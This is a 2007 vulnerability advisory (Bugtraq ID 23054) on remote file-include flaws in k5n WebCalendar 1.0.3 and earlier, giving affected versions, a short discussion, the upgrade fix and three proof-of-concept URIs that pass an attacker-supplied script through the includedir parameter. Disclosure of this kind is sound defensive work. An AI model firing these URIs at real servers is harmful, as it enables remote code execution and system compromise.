WebCalendar IncludeDir Multiple Remote File Include Vulnerabilities

BID:23054

Info

WebCalendar IncludeDir Multiple Remote File Include Vulnerabilities

Bugtraq ID: 23054
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 20 2007 12:00AM
Updated: Mar 21 2007 03:14AM
Credit: Drackanz is credited with the discovery of these vulnerabilities.
Vulnerable: k5n WebCalendar 1.0.3
k5n WebCalendar 1.0.2
k5n WebCalendar 1.0.1
k5n WebCalendar 1.0 RC3
k5n WebCalendar 1.0 rc2
k5n WebCalendar 1.0 RC1
k5n WebCalendar 1.0
k5n WebCalendar 0.9.50
k5n WebCalendar 0.9.45
- Debian Linux 3.1 sparc
 - Debian Linux 3.1 s/390
 - Debian Linux 3.1 s/390
 - Debian Linux 3.1 ppc
 - Debian Linux 3.1 ppc
 - Debian Linux 3.1 mipsel
 - Debian Linux 3.1 mipsel
 - Debian Linux 3.1 mips
 - Debian Linux 3.1 mips
 - Debian Linux 3.1 m68k
 - Debian Linux 3.1 m68k
 - Debian Linux 3.1 ia-64
 - Debian Linux 3.1 ia-64
 - Debian Linux 3.1 ia-32
 - Debian Linux 3.1 ia-32
 - Debian Linux 3.1 hppa
 - Debian Linux 3.1 hppa
 - Debian Linux 3.1 arm
 - Debian Linux 3.1 arm
 - Debian Linux 3.1 alpha
 - Debian Linux 3.1 alpha
 - Debian Linux 3.1
- Debian Linux 3.1
k5n WebCalendar 0.9.43
k5n WebCalendar 0.9.42
k5n WebCalendar 0.9.41
k5n WebCalendar 0.9.40
k5n WebCalendar 0.9.39
k5n WebCalendar 0.9.38
k5n WebCalendar 0.9.36
k5n WebCalendar 0.9.35
k5n WebCalendar 0.9.34
k5n WebCalendar 0.9.33
k5n WebCalendar 0.9.32
k5n WebCalendar 0.9.31
k5n WebCalendar 0.9.30
k5n WebCalendar 0.9.29
k5n WebCalendar 0.9.28
k5n WebCalendar 0.9.27
k5n WebCalendar 0.9.26
k5n WebCalendar 0.9.26
k5n WebCalendar 0.9.25
k5n WebCalendar 0.9.25
k5n WebCalendar 0.9.24
k5n WebCalendar 0.9.23
k5n WebCalendar 0.9.23
k5n WebCalendar 0.9.22
k5n WebCalendar 0.9.22
k5n WebCalendar 0.9.21
k5n WebCalendar 0.9.21
k5n WebCalendar 0.9.20
k5n WebCalendar 0.9.19
k5n WebCalendar 0.9.16
k5n WebCalendar 0.9.15
k5n WebCalendar 0.9.11
k5n WebCalendar 0.9.11
k5n WebCalendar 0.9.8
k5n WebCalendar 0.1 .0
Not Vulnerable: k5n WebCalendar 1.0.5
k5n WebCalendar 1.0.4

Discussion

WebCalendar IncludeDir Multiple Remote File Include Vulnerabilities

WebCalendar is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions prior to 1.0.4 are vulnerable to these issues.

Exploit / POC

WebCalendar IncludeDir Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/[calendar]/ws/login.php?includedir=[evilscript]
http://www.example.com/[calendar]/ws/get_reminders.php?includedir=[evilscript]
http://www.example.com/[calendar]/ws/get_events.php?includedir=[evilscript]

Solution / Fix

WebCalendar IncludeDir Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released version 1.0.5 to address these issues. Please see the references for more information.


k5n WebCalendar 0.1 .0

k5n WebCalendar 0.9.11

k5n WebCalendar 0.9.11

k5n WebCalendar 0.9.15

k5n WebCalendar 0.9.16

k5n WebCalendar 0.9.19

k5n WebCalendar 0.9.20

k5n WebCalendar 0.9.21

k5n WebCalendar 0.9.21

k5n WebCalendar 0.9.22

k5n WebCalendar 0.9.22

k5n WebCalendar 0.9.23

k5n WebCalendar 0.9.23

k5n WebCalendar 0.9.24

k5n WebCalendar 0.9.25

k5n WebCalendar 0.9.25

k5n WebCalendar 0.9.26

k5n WebCalendar 0.9.26

k5n WebCalendar 0.9.27

k5n WebCalendar 0.9.28

k5n WebCalendar 0.9.29

k5n WebCalendar 0.9.30

k5n WebCalendar 0.9.31

k5n WebCalendar 0.9.32

k5n WebCalendar 0.9.33

k5n WebCalendar 0.9.34

k5n WebCalendar 0.9.35

k5n WebCalendar 0.9.36

k5n WebCalendar 0.9.38

k5n WebCalendar 0.9.39

k5n WebCalendar 0.9.40

k5n WebCalendar 0.9.41

k5n WebCalendar 0.9.42

k5n WebCalendar 0.9.43

k5n WebCalendar 0.9.45

k5n WebCalendar 0.9.50

k5n WebCalendar 0.9.8

k5n WebCalendar 1.0 RC3

k5n WebCalendar 1.0

k5n WebCalendar 1.0 RC1

k5n WebCalendar 1.0 rc2

k5n WebCalendar 1.0.1

k5n WebCalendar 1.0.2

k5n WebCalendar 1.0.3

References

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